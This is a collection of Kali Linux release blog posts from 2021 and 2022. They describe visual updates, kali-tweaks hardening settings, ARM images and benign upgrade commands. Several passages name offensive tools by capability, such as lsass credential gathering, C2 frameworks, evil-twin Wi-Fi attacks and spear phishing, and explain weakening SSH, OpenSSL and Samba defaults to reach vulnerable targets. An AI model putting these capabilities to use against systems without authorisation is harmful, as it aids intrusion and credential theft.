Kali Unkaputtbar is made possible by software from an incredible bunch of people and we would like to express our heartfelt thanks to Antynea, Ricardo Vieira, and our friends at openSUSE for their tireless work on grub-btrfs, snapper-gui, & snapper respectively.

Kali Linux 2022.1 Release (Visual Updates, Kali Everything ISOs, Legacy SSH)

Mon, 14 Feb 2022 00:00:00 +0000

Today we are pushing out the first Kali Linux release of the new year with Kali Linux 2022.1, and just in time for Valentine’s Day! This release brings various visual updates and tweaks to existing features, and is ready to be downloaded or upgraded if you have an existing Kali Linux installation.

The summary of the changelog since the 2021.4 release from December 2021 is:

Visual Refresh - Updated wallpapers and GRUB theme
Shell Prompt Changes - Visual improvements to improve readability when copying code
Refreshed Browser Landing Page - Firefox and Chromium homepage has had a makeover to help you access everything Kali you need
Kali Everything Image - An all-packages-in-one solution now available to download
Kali-Tweaks Meets SSH - Connect to old SSH servers using legacy SSH protocols and ciphers
VMware i3 Improvements - Host-guest features properly work now on i3
Accessibility Features - Speech synthesis is back in the Kali installer
New Tools - Various new tools added, many from ProjectDiscovery!

Besides that, we have been working on a new feature, which just isn’t quite ready yet (as the documentation is still in progress!). It’s a large one, so it’s going to have its own blog post once ready to help demonstrate its importance to us. This one is for you bare-metal installers!

Edit: Now out!

Visual Refresh: Theme Updates

As promised back in Kali 2021.2, beginning with this release (2022.1) going forwards, our yearly 20xx.1 versions will be the only releases to have the main visual updates. Using a yearly lifecycle, it makes it easier to recognize the different versions of Kali Linux over time. This update includes new wallpapers for desktop, login, and boot displays, in addition to a refreshed installer theme which you may have seen if you have recently updated.

Moreover, the functions, theme and layout of the boot menu present in our ISO images have been improved. With these changes, it makes them consistent throughout. Previously, the menus in the UEFI and the BIOS boot menus had different options, designs, and were also written differently, making them confusing. Throw into the mix that there were multiple differences between “installer”, “live”, “netinstall” and “mini” options as well. All of these problems have been addressed and they now have a universal feel to them all.

Shell Prompt Changes

You talked, we listened. We have made a few tweaks which we hope will make your life easier since our last prompt update in 2020.4. Examples of this problem may be when writing a professional pentesting report or collaborating on debugging code and sharing the terminal, the right-side prompt (which had the exit code and the number of background processes) may of gotten in the way. So it has been removed from our default shell, ZSH. Along with this, the skull in the root prompt has been replaced with a simple ㉿. For those that miss the root skull (💀), you can easily edit your ~/.zshrc:

┌──(root㉿kali)-[~]
└─# sed -i 's/prompt_symbol=㉿/prompt_symbol=💀/' ~/.zshrc
┌──(root㉿kali)-[~]
└─# source ~/.zshrc
┌──(root💀kali)-[~]
└─#

If you do a fresh install of Kali 2022.1, you will have these changes. If you are upgrading, you will need to manually apply these edits by doing the following:

┌──(kali㉿kali)-[~]
└─$ cp -i /etc/skel/.{bash,zsh}rc ~/

Refreshed Browser Landing Page

This release comes with a fresh new look for the default landing page shipped inside Kali. Utilizing the refreshed documentation sites (Kali-Docs and Kali-Tools), the search function will help you find almost anything you could need using Kali Linux!

Kali Everything Image: Everything in one place

This release will welcome a new flavor, the “kali-linux-everything” image. This allows for a complete offline standalone image (ISO), for those who require all of Kali’s tools to be pre-installed. Unlike previously, users will not be required to download the “kali-linux-everything” packages during Kali’s setup via a network mirror, as they will be located on the same media, but the image is much larger to initially download due to this. Because of the size increase, (~2.8GB to ~9.4GB), these images will be only initially offered using a technology that its designed to handle the traffic, BitTorrent. Additionally, as there are more packages, it will take longer to also install Kali.

If you understand what you are doing, and this sounds like something you would like, grab the torrents and give it a try!

To learn more about the grouping of Kali’s packages, please see our documentation about metapackages.

This will not include Kaboxer applications at this point in time, due to a known limitation.

Kali-Tweaks: Legacy SSH Made Easy

There is a new setting in the kali-tweaks Hardening section! It is now possible to configure Kali’s SSH client for Wide Compatibility, which means that old algorithms and ciphers are enabled. Thanks to that, connecting to old servers that use those is now straightforward, no need to pass additional options explicitly on the command-line.

The purpose of this setting is to make it easier to discover vulnerable SSH servers, just like explained previously this opens up more potential attack surfaces (which is how this came about, due to a recent pentest, a Uninterruptible Power Supply gave us our foothold to complete network pwnage).

Please note, unlike OpenSSL and Samba, this weakened behaviour is NOT enabled by default, as SSH is a sensitive enough component that we prefer to keep it Secure by default. Therefore if you are interested in this setting, you will have to run kali-tweaks, enter the Hardening section and enable it in there.

Here is what the Hardening screen looks like currently:

VMware i3 Improvements

For users that use Kali in a guest VM with the i3 desktop environment (kali-desktop-i3), VMware’s host-guest features (e.g. drag ’n’ drop, copy/paste) were not enabled by default, it had to be done manually. This is now fixed and you should not have anything to do, it should work out of the box. This was enabled with package i3-wm 4.20.1-1.

Accessibility: Talk To Me

We have always tried to support as many users of Kali as possible. This is true from our early releases through to today.

To help blind and visually impaired users, we are pleased to say speech synthesis is back in the Kali setup. When we released Kali 2021.4, the sound in the installer broke. This was due to a packaging bug in the sound driver, and unfortunately this issue went unnoticed for a while. This is now fixed. Big thanks to isfr8585 who reported the issue!

New Tools in Kali

Between numerous packages updates, there has been various new tools added! A quick breakdown of what has been added (to the network repositories):

dnsx - Fast and multi-purpose DNS toolkit allow to run multiple DNS queries
email2phonenumber - An OSINT tool to obtain a target’s phone number just by having his email address
naabu - A fast port scanner with a focus on reliability and simplicity
nuclei - Targeted scanning based on templates
PoshC2 - A proxy aware C2 framework with post-exploitation and lateral movement
proxify - Swiss Army knife Proxy tool for HTTP/HTTPS traffic capture, manipulation, and replay on the go

Shout-out to ProjectDiscovery for their work & tools!

Kali ARM Updates

A list of packages that were previously not available for the arm64 architecture, and that have been added in this release:

Bluetooth should now be fixed on the RaspberryPi images, aside from the Zero 2 W, which we are still hunting down a fix for and will release an updated image when it is ready. There was a change with the bootloader that changed the serial device name being used.

Image file names have changed to be a bit more verbose with their naming, instead of using short-hand or nicknames of devices.

The build scripts now have a documentation page that explains them a bit more in depth.

The RaspberryPi Zero 2 W device has documentation now as well.

Community Shout-Outs

These are people from the public who have helped Kali and the team for the last release. And we want to praise them for their work (we like to give credit where due!):

Greg Myers who helped to clean up our kali-docs
Void Your Warranty who contributed a very helpful encrypted standalone USB kali-docs page
D for his contributions on the Gatworks Ventana and Gateworks Newport Kali ARM build-scripts
1y for contributing the i.MX6ULL EVK Kali ARM build-script, which we accidentally dropped during the refactoring. It has now been restored.

Anyone can help out, anyone can get involved!

Download Kali Linux 2022.1

Fresh Images: So what are you waiting for? Start downloading already!

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ cp -rbi /etc/skel/. ~
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

You should now be on Kali Linux 2022.1. We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2022.1"
VERSION_ID="2022.1"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP Debian 5.15.15-2kali1 (2022-01-31)
┌──(kali㉿kali)-[~]
└─$ uname -r
5.15.0-kali3-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We will never be able to fix what we do not know is broken! And Twitter is not a Bug Tracker!

Want to keep in up-to-date easier? We have a RSS feeds & newsletter of our blog!

Kali's stable Docker image is now named kali-last-release

Wed, 12 Jan 2022 00:00:00 +0000

Here is a very quick announcement for users of the Kali Linux Docker Images.

Until recently we used to have a Docker image named simply kali, and it was built from the last versioned release of Kali (e.g. 2019.4, 2020.1, etc.) matching our “kali-last-snapshot” network repositories branch. In a way, this is our “stable” release, as it will only get updates quarterly as it is in synchronisation with our release cycle.

We still provide this Docker image, but now it has been renamed from kali to kali-last-release for clarity.

The old kali Docker image is still around for the time being, but if you use it you will see a deprecation warning to indicate that it is in the process of being phased out. The rest of the deprecation plan is as follow:

Upon Kali 2022.1 release, we will update the image to make it fail, meaning that the container will error out with a helpful message when you try to run it.
Upon Kali 2022.2 release, we will completely remove it from our Docker Hub.

So if you still use this image in your scripts or Dockerfiles, please update those and use kali-last-release instead.

An additional reminder: if you are after the most up-to-date version of Kali, you probably want to use the kali-rolling Docker image. This is the “main” image (which matches our other platforms), and it is updated every week (the network packages get updated daily also like all other Kali platforms).

For lots more details, please refer to our official Kali Docker documentation.

Thank you and happy 11111100110!

PS – On a related topic: the Kali images were recently added to the containers shortnames list. It means that Podman users can run a Kali container simply by typing podman run -it kali-rolling, rather than using the full image name docker.io/kalilinux/kali-rolling. This works if the host system provides a very up-to-date shortnames list in /etc/containers/registries.conf.d/shortnames.conf. If your host system is Kali Rolling, that’s already the case!

Kali Linux 2021.4 Release

Thu, 09 Dec 2021 00:00:00 +0000

With the end of 2021 just around the corner, we are pushing out the last release of the year with Kali Linux 2021.4, which is ready for immediate download or updating.

The summary of the changelog since the 2021.3 release from September 2021 is:

Kali on the Apple M1

As we announced in Kali 2021.1 we supported installing Kali Linux on Parallels on Apple Silicon Macs, well with 2021.4, we now also support it on the VMware Fusion Public Tech Preview thanks to the 5.14 kernel having the modules needed for the virtual GPU used. We also have updated the open-vm-tools package, and Kali’s installer will automatically detect if you are installing under VMware and install the open-vm-tools-desktop package, which should allow you to change the resolution out of the box. As a reminder, this is still a preview from VMware, so there may be some rough edges. There is no extra documentation for this because the installation process is the same as VMWare on 64-bit and 32-bit Intel systems, just using the arm64 ISO.

As a reminder, virtual machines on Apple Silicon are still limited to arm64 architecture only.

Extended Compatibility for the Samba Client

Starting Kali Linux 2021.4, the Samba client is now configured for Wide Compatibility so that it can connect to pretty much every Samba server out there, regardless of the version of the protocol in use. This change should make it easier to discover vulnerable Samba servers “out of the box”, without having to configure Kali.

This setting can be changed easily via the command-line tool kali-tweaks. In the Hardening section, one can choose the value Default instead, which reverts back to Samba’s usual default, and only allow using modern versions of the Samba protocol.

As one can see on this screenshot, there’s also a similar setting for OpenSSL. You might want to refer to the 2021.3 release announcement for more details on this setting.

Easy Package Manager Mirror Configuration

By default, when a Kali system is updated, the package manager (APT) downloads packages from a community mirror nearby. But did you know that it’s also possible to configure Kali to get its package from the Cloudflare CDN? To be honest, this is old news. But what’s new is that you can now use kali-tweaks to quickly configure whether APT should use community mirrors or the Cloudflare CDN.

So which one is best, community mirrors or Cloudflare CDN? There’s no good answer. The time that it actually takes to update Kali can vary greatly and depends on many factors, including the speed of your Internet connection, your location, and even the time of day, if ever you live in a place where Internet traffic jam occurs at rush hour. The point is: if ever Kali updates are slow, the best you can do is to try to switch from community mirrors to Cloudflare CDN, or the other way round, and find what works best for you. And with kali-tweaks, it’s never been easier!

Kaboxer Theme Support

With the latest update of Kaboxer tools no longer look out of place, as it brings support for window themes and icon themes (placed respectively inside /usr/share/themes and /usr/share/icons). This allows the program to properly integrate with the rest of the desktop and avoids the usage of ugly fallback themes.

Here is a comparison of how zenmap (zenmap-kbx package) looks with the default Kali Dark theme, compared to the old appearance:

New Tools in Kali

It would not be a Kali release if there were not any new tools added! A quick run down of what’s been added (to the network repositories):

Dufflebag - Search exposed EBS volumes for secrets
Maryam - Open-source Intelligence (OSINT) Framework
Name-That-Hash - Do not know what type of hash it is? Name That Hash will name that hash type!
Proxmark3 - if you are into Proxmark3 and RFID hacking
Reverse Proxy Grapher - graphviz graph illustrating your reverse proxy flow
S3Scanner - Scan for open S3 buckets and dump the contents
Spraykatz - Credentials gathering tool automating remote procdump and parse of lsass process.
truffleHog - Searches through git repositories for high entropy strings and secrets, digging deep into commit history
Web of trust grapher (wotmate) - reimplement the defunct PGP pathfinder without needing anything other than your own keyring

Desktop & Theme Enhancement

This release brings updates for all the 3 main desktops (Xfce, GNOME, and KDE), but one that is common to all of them is the new window buttons design. Previous buttons were designed to fit the window theme of Xfce but did not work well with the other desktops and lacked personality. The new design looks elegant on any of the desktops and makes it easier to spot the currently focused window.

Xfce

The panel layout has been tweaked to optimize horizontal space and make room for 2 new widgets: the CPU usage widget and the VPN IP widget, which remains hidden unless a VPN connection is established.

Following the steps of other desktops, the task manager has been configured to “icons only”, which, with the slight increase in the panel’s height, makes the overall look cleaner and improves multitasking in smaller displays.

The workspaces overview has been configured to the “Buttons” appearance, as the previous configuration “Miniature view” was too wide and a bit confusing for some users. Now that each workspace button takes less space in the panel, we have increased the default number of workspaces to 4, as it’s a usual arrangement in Linux desktops.

To finish with the modifications, a shortcut to PowerShell has been added to the terminals dropdown menu. With this addition, you can now choose between the regular terminal, root terminal, and PowerShell.

If you prefer the previous configuration for any of the widgets, you can modify or remove them by pressing Ctrl + Right-Click over it.

In addition to the Xfce design tweaks, In the image above, we can also observe the new customized prompt for PowerShell (in the two-line mode). Same as for zsh and bash, it includes an alternative one-line prompt that can be configured with kali-tweaks.

Bonus Tips For Virtual Desktops!

You can add or remove workspaces with the shortcuts: Alt + Insert / Alt + Delete
You can move through workspaces with the shortcuts:
- Ctrl + Alt + <ARROW_KEY> to move in the direction of the arrow key.
  - (if you add Shift you move the current focused window)
- Ctrl + Alt + <WORKSPACE_NUM> to move to a specific workspace, based on its number.
- Ctrl + Super + <WORKSPACE_NUM> to move a window to a specific workspace, based on its number.

GNOME 41

In this update, GNOME desktop has received not one, but two version bumps. It’s been one year since the last major update of the GNOME desktop in Kali (with GNOME 3.38) and since then there have been two releases of the desktop environment:

All themes and extensions have been updated to support the new shell:

KDE 5.23

The KDE team celebrated its 25th anniversary releasing the update 5.23 of the Plasma desktop. This update, now available in Kali, brings a new design for the Breeze theme, which improves the look of Plasma with details that add glossiness and style to the desktop. Along with the theme improvements, the System Settings (Under Global Theme > Colors) brings a new option to pick the desktop accent color.

From Kali’s side, the new window theme for KDE is now based on the source code of the breeze theme instead of using the Aurorae theme engine. This fixes previous issues with window scaling for HiDPI displays.

How to Upgrade Your Kali Theme

With these theme changes, you may not get them if you upgrade Kali. This is because the theme settings are copied to your home folder when your user is first created. When you upgrade Kali, it is upgrading the operating system, so upgrading does not alter personal files (just system files). As a result, in order to get these theme tweaks, you need to either:

Do a fresh Kali install
Create a new user and switch to that
Delete your Desktop environment profile for the current user and force reboot. Example of Xfce can be found below:

kali@kali:~$ mv ~/.config/xfce4{,-$(date +%Y.%m.%d-%H.%M.%S)}
kali@kali:~$
kali@kali:~$ cp -rbi /etc/skel/. ~/
kali@kali:~$
kali@kali:~$ xfce4-session-logout --reboot --fast

Kali NetHunter Updates

Thanks to the amazing work of @yesimxev, we have a new addition to the NetHunter app: The Social-Engineer Toolkit!

This release features the first module from SET: the Spear Phishing Email Attack, with many more to come - watch this space…

Now you can use the Kali NetHunter app to customise your own Facebook, Messenger, or Twitter direct message email notifications for your social engineering attacks:

Your browser does not support the video tag.

Thanks to everyone that contributed to this feature by participating in the Twitter poll. We could not have done it without your input!

Kali ARM Updates

Notable changes this release

All images now use ext4 for their root filesystem, and resize the root filesystem on first boot. This results in a speed-up over previous releases which were using ext3, and a reduced boot time on the first reboot when resize happens.
Raspberry Pi Zero 2 W support has been added, but like the Raspberry Pi 400, there is no Nexmon support.
Speaking of the Raspberry Pi Zero 2 W, since it is so similar to the Zero W, we have also added a PiTail image to support the new processor with better performance.
Raspberry Pi images now support USB booting out of the box since we no longer hardcode the root device.
Raspberry Pi images now include versioned Nexmon firmware. A future release of kalipi-config will allow you to switch between them, if you would like to test different versions.
Images that use a vendor kernel will now be able to set the regulatory domain properly, so setting your country will give access to channels properly for wireless.
Pinebook Pro can now be overclocked. The big cores get 2GHz and the little cores get 1.5GHz added.
- echo 1 | sudo tee /sys/devices/system/cpu/cpufreq/boost to enable
- echo 0 | sudo tee /sys/devices/system/cpu/cpufreq/boost to disable
USBArmory MkII image has been added.

Kali ARM build-scripts have seen a massive amount of changes:

They are vastly more simplified - thanks to Francisco Jose Rodriguez Martos, and cyrus104 for all of their contributions to make this happen.
You can now choose which desktop you would like to install (or none at all using --minimal)
There is even an option of no desktop and no tools (--slim) if you would like to build a custom image up from scratch

Kali-Docs Updates

Installing Flatpak on Kali Linux is now well documented
A new page for the Raspberry Pi Zero 2 W has been added
The Kali branches page has been refreshed with best practices and references to kali-tweaks that help you follow those best practices to enable (or disable) some of the supplementary repositories.
We added a list of removed tools so that you can learn why a package got dropped from Kali.
Thanks also to Aman Kumar Maurya for the nVidia guide

Anyone can help out, anyone can get involved!

Miscellaneous

Kali-Cloud & Cron

Some users noticed that the venerable cron package was missing from the Kali AWS Cloud image. This was not intentional, and it’s now fixed.

Remote Desktop Protocol Audio

“The quieter you become, the more you are able to hear”, goes the saying. And for those running Kali in a VM and using RDP to connect, it’s been very quiet indeed, as the sound never worked with this configuration. However this long period of silence is coming to an end! Sound should be enabled and work out of the box from now on. If ever it does not, make yourself heard on the bug tracker ;)

Python Command

The command python is no more! Instead, you need to use python3 (or if you have to, python2 due it being at End Of Life). Alternatively you can install python-is-python3 to restore python as an alias for python3.

Download Kali Linux 2021.4

Fresh Images: So what are you waiting for? Start downloading already!

Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce weekly builds that you can use as well. If you cannot wait for our next release and you want the latest packages (or bug fixes) when you download the image, you can just use the weekly image instead. This way you’ll have fewer updates to do. Just know that these are automated builds that we do not QA like we do our standard release images. But we gladly take bug reports about those images because we want any issues to be fixed before our next release!

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ cp -rbi /etc/skel/. ~
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

You should now be on Kali Linux 2021.4. We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2021.4"
VERSION_ID="2021.4"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP Debian 5.14.16-1kali1 (2021-11-05)
┌──(kali㉿kali)-[~]
└─$ uname -r
5.14.0-kali4-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We’ll never be able to fix what we do not know is broken! And Twitter is not a Bug Tracker!

Kali Linux 2021.3 Release (OpenSSL, Kali-Tools, Kali Live VM Support, Kali NetHunter Smartwatch)

Tue, 14 Sep 2021 00:00:00 +0000

Today we have released the newest version of Kali Linux, 2021.3 (quarter #3), which is now ready for download or updating.

A summary of the changes since the 2021.2 release from June are:

OpenSSL - Wide compatibility by default - Keep reading for what that means
New Kali-Tools site - Following the footsteps of Kali-Docs, Kali-Tools has had a complete refresh
Better VM support in the Live image session - Copy & paste and drag & drop from your machine into a Kali VM by default
New tools - From adversary emulation, to subdomain takeover to Wi-Fi attacks
Kali NetHunter smartwatch - First of its kind, for TicHunter Pro
KDE 5.21 - Plasma desktop received a version bump

OpenSSL: wide compatibility by default

Going forwards from Kali Linux 2021.3, OpenSSL has now been configured for wider compatibility to allow Kali to talk to as many services as possible. This means that legacy protocols (such as TLS 1.0 and TLS 1.1) and older ciphers are enabled by default. This is done to help increase Kali’s ability to talk to older, obsolete systems and servers that are still using these older protocols. This may potentially increase your options on available attack surfaces (if your target has these End of Life (EoL) services running, having then forgotten about them, what else could this uncover?). While this is not a configuration that would be good for a general purpose operating systems, this setting makes sense for Kali as it enables the user to engage and talk with more potential targets.

This setting is easy to modify via the command-line tool kali-tweaks though. Enter the Hardening section, and from there you can configure OpenSSL for Strong Security mode instead, which uses today’s current modern standard allowing for secure communication.

For more details, refer to the documentation: kali.org/docs/general-use/openssl-configuration/

Kali-Tools

In 2019.4 we moved our documentation over to our updated /docs/ page. It’s now finally the turn of our Kali-Tools site!

We have refreshed every aspect of the previous site, giving a new, faster, layout, content, and system! The backend is now in a semi-automated state and more in the open, which like before, allows for anyone to help out and contribute.

Once these sites have settled down from all the changes and matured a bit, we will start to package these both up, allowing for offline reading.

Virtualization: improvements all over the place

The Kali Live image received some love during this release cycle! We worked hard to make the experience smoother for those who run the Live image in virtualized environments. Basic features like copy’n’paste and drag’n’drop between the host and the guest should now work out of the box. And this is really for everyone: VMware, VirtualBox, Hyper-V and QEMU+Spice. Did we forget anyone? Drop us a word on the Kali bug tracker!

On the same line: it’s now very easy to configure Kali for Hyper-V Enhanced Session Mode. Open kali-tweaks in a terminal, select Virtualization, and if Kali is running under Hyper-V, you’ll see a setting to turn on Hyper-V Enhanced Session Mode. It’s now as simple as hitting Enter!

If you use this feature, make sure to visit kali.org/docs/virtualization/install-hyper-v-guest-enhanced-session-mode/, as there are a few additional things to be aware of.

Many thanks to @Shane Bennett, who spent a tremendous amount of time testing this feature, provided extremely detailed feedback all along, and even helped us with the documentation. Kudos Shane!

New Tools in Kali

It wouldn’t be a Kali release if there weren’t any new tools added! A quick run down of what’s been added (to the network repositories):

Berate_ap - Orchestrating MANA rogue Wi-Fi Access Points
CALDERA - Scalable automated adversary emulation platform
EAPHammer - Targeted evil twin attacks against WPA2-Enterprise Wi-Fi networks
HostHunter - Recon tool for discovering hostnames using OSINT techniques
RouterKeygenPC - Generate default WPA/WEP Wi-Fi keys
Subjack - Subdomain takeover
WPA_Sycophant - Evil client portion of EAP relay attack

Kali NetHunter Updates

Kali NetHunter Watch

We proudly introduce the world’s first Kali NetHunter smartwatch, the TicHunter Pro thanks to the outstanding work of our very own NetHunter developer @yesimxev. It is still experimental, hence the features are limited to USB attacks, and some basic functions. The hardware also has limitations, as such a small battery won’t supply enough voltage for any OTG adapters, so huge antennas won’t stick out of your wrist! The future is very promising, bringing support for Nexmon and internal bluetooth usage.

The image is available on our download page.

Please note that those images contain a “nano Kali rootfs” due to technical reasons. The detailed installation guide can be found in our Kali documentation. Feel free to join the adventure!

Kali NetHunter Installation via Magisk

Thanks to the amazing work of @Mominul Islam, we can now bring Kali NetHunter to Android 11 devices without a fully working TWRP!

Each Kali NetHunter image can be flashed as a Magisk module. This work is still in its infancy and more work is needed to bring it up to par with the traditional installer through TWRP.

One of the missing parts is the kernel installation. We haven’t been able to install the kernel through Magisk yet. That has to be done via kernel installers like the “Franco Kernel Manager”. If you are keen to get NetHunter onto your Android 11 device, just give it a crack. If you are interested in helping out with getting the kernel part finished, please get in touch with us through our GitLab issue tracker. Any help is greatly appreciated!

Kali NetHunter installation step-by-step guide for our preferred device, the OnePlus 7

Our preferred device for Kali NetHunter is the OnePlus 7 running Android 10 (stock ROM).

For a step-by-step installation guide and links to all the files required to restore your phone to the latest stock Android 10 ROM, install TWRP, Magisk and Kali NetHunter, head over to our Kali documentation page.

Kali ARM Updates

We have been busy doing various tweaks and tinkering on our Kali ARM images, which covers:

Our Kali ARM build-scripts have been re-worked.
- Thanks to @cyrus104, we now have a build-script to support the Gateworks Newport board, and he also added documentation for it.
- @Re4son contributed a build-script for the Raspberry Pi Zero W based “Pi-Tail” (Find more information here).
- Additionally, the RaspberryPi Zero W based “P4wnP1” build-script has undergone some major changes.
All images should finally resize the file-system on the first boot.
We now re-generate the default snakeoil cert, which fixes a couple of tools that were failing to run previously.
Images default to iptables-legacy and ip6tables-legacy for iptables support.
We now set a default locale of en_US.UTF-8 on all images, you can, of course, change this to your preferred locale.
The Kali user on ARM images is now in all of the same groups as base images by default, and uses zsh for the default shell. You can change your default shell by using the kali-tweaks tool which also comes pre-installed.
Raspberry Pi images can now use a wpa_supplicant.conf file on the /boot partition.
Raspberry Pi images now come with kalipi-config, and kalipi-tft-config pre-installed.
Pinebook Pro’s kernel has been updated to 5.14, and you now get messages on the LCD screen as it’s booting, instead of a blinking cursor until X starts.

Desktop & Theme Updates

There are also some changes in the desktop space:

Improved GTK3 theme for Xfce’s notifications and logout-dialog
Redesigned GTK2 theme for a better fit of older programs
Improved Kali-Dark and Kali-Light syntax-highlighting themes for GNOME and Xfce

In addition to these changes, one of Kali’s preferred desktops, KDE plasma, has received a version bump, now including version 5.21. This update brings an updated look, with a new application launcher and theme improvements. Here’s a preview of how it looks with Kali’s customization:

Kali-Docs Updates

Our documentation site, as well as the pages mentioned already in this blog post, the following other pages have received major changes:

GitLab Commit 2021

We participated in GitLab’s virtual conference this year and @g0tmi1k gave a talk on the Dynamic between Kali Linux and OffSec. Give it a watch!

Ampere & ARM

Following our announcement of our partnerships with Ampere, we have now fully moved our ARM package building machines over to their hardware, and loving the speed increase! Thank you again to Ampere for the assistance! If you need some ARM servers give them a look! If they are nice enough to help us out this way, we are sure they will treat you good as well.

Upcoming Changes

Looking forward, we are going to be announcing the following changes:

Kali-Menu refresh - We know you may not use it, but for the people who do, we are planning on making some major alterations in its structure. This will hopefully be live for testing in 2021.4, and then made default in a later release based on user response. You will be able to change the menu layout by using kali-tweaks. If you want to provide input on this change, get engaged with us and make your voice heard!
Load Balancer (http.kali.org & cdimage.kali.org) - This handles apt packages as well as OS images. We will be switching from MirrorBrain to MirrorBits. We will be soon in touch with all the community mirror maintainers to give them notice of our infrastructure changes. If you would like to become a mirror, please see our guide.

Download Kali Linux 2021.3

Fresh Images: So what are you waiting for? Start downloading already!

Seasoned Kali Linux users are already aware of this, but for the those who are not, we do also produce weekly builds that you can use as well. If you cannot wait for our next release and you want the latest packages (or bug fixes) when you download the image, you can just use the weekly image instead. This way you’ll have fewer updates to do. Just know that these are automated builds that we do not QA like we do our standard release images. But we gladly take bug reports about those images because we want any issues to be fixed before our next release!

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ cp -rbi /etc/skel/. ~
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

You should now be on Kali Linux 2021.3. We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2021.3"
VERSION_ID="2021.3"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP Debian 5.10.46-4kali1 (2021-08-09)
┌──(kali㉿kali)-[~]
└─$ uname -r
5.10.0-kali9-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We’ll never be able to fix what we do not know is broken! And Twitter is not a Bug Tracker!

Kali Linux 2021.2 Release (Kaboxer, Kali-Tweaks, Bleeding-Edge & Privileged Ports)

Tue, 01 Jun 2021 00:00:00 +0000

Say hello to Kali Linux 2021.2! This release welcomes a mixture of new items as well as enhancements of existing features, and is ready to be downloaded (from our updated page) or upgraded if you have an existing Kali Linux installation.

A quick summary of the changelog since the 2021.1 release from February 2021 is:

Releasing Kaboxer v1.0 - Introducing Kali Applications Boxer v1.0! Applications in containers
Releasing Kali-Tweaks v1.0 - Our way to make it easier to configure Kali Linux to your taste
Refreshed Bleeding-Edge branch - We did a complete make over for our backend that produces packages for the latest updates
Disabled privileged ports - Opening a listener on ports 1024/TCP-UDP and below no longer requires super-user access
New tools added - Ghidra & Visual Studio Code. Along with CloudBrute, Dirsearch, Feroxbuster, pacu, peirates, & Quark-Engine
Theme enhancements - We added a way to quickly swap between double & one-line terminal prompt and made Xfce4 Quick launch + file manager tweaks
Desktop wallpaper & login background updates - Default images have changed with more to choose from
Raspberry Pi images recharged - RPi 400 fully supported, built-in bluetooth working, & first-run wait time dramatically reduced
Kali NetHunter support for Android 11 - Android 11 support and various other improvements for our NetHunter platform
More Docker support - Now supporting ARM64 & ARM v7 (along with previous AMD64)
Parallels support - Kali is fully supported for Apple M1 users who have Parallels
Various bug fixes - Pkexec patched, Wireshark permissions, command-not-found issues, & more accessibility features are all resolved

Introducing Kaboxer v1.0 (Again)

In case you missed it, we have previously covered Kaboxer in it’s own dedicated blog post, which goes into a lot more detail of why we love it so! For developers, this is a great new tool in the arsenal. Users will, hopefully, not realise that they are using it, only noticing that previously problematic tools now work correctly!

Without repeating what has already been posted, this technology allows us to correctly package up programs that were previously difficult, with items such as complex dependencies or legacy programs & libraries (such as Python 2 or dated SSL/TLS).

With Kaboxer’s launch, we have released 3 packages using it:

Covenant - Daemon using server/client network model
Firefox (Developer Edition) - Big GUI desktop application
Zenmap - Legacy libraries (Python 2) application

If you want to read more, please see either our blog post covering it, or our documentation around it.

Kaboxer is still in its infancy, so please be nice & patient with it.

Releasing Kali-Tweaks v1.0

Announcing Kali-Tweaks! This is our little helping hand for Kali users, with the idea to help customize Kali to your own personal taste quickly, simply, and the correct way. This should help you to stop doing repetitive tasks.

Currently Kali-Tweaks will help out with:

Metapackages - Installing/removing groups of tools, which may not have been available while installing Kali if you did not use the installer image
Network Repositories - Enabling/disabling “bleeding-edge” & “experimental” branches
Shell & Prompt - Switch between two or one line prompt, enable/disable the extra line before the prompt, or configure Bash or ZSH as the default shell
Virtualization - Using Kali as a guest VM? Do a few actions to make the experience easier!

Our philosophy is to always understand what you are running, before you run it. That way, it reduces the chances of any undesirable nasty surprises. Which is why we will always encourage anyone to do actions manually before automating it, so you get to understand what is happening under the hood. On the flip side, we also understand there is so much to remember. Then when you sprinkle in people’s bad habits, which often have long term implications and end up breaking Kali, there is room for improvement. So, we started developing Kali-Tweaks. Where possible, Kali-Tweaks will also display what commands are being executed to help educate users.

We do want to mention a few things:

kali-tweaks has been marked as “recommended” rather than “required”. As a result, if you are upgrading Kali, it may not be included. On the other hand, you can remove kali-tweaks without removing anything else
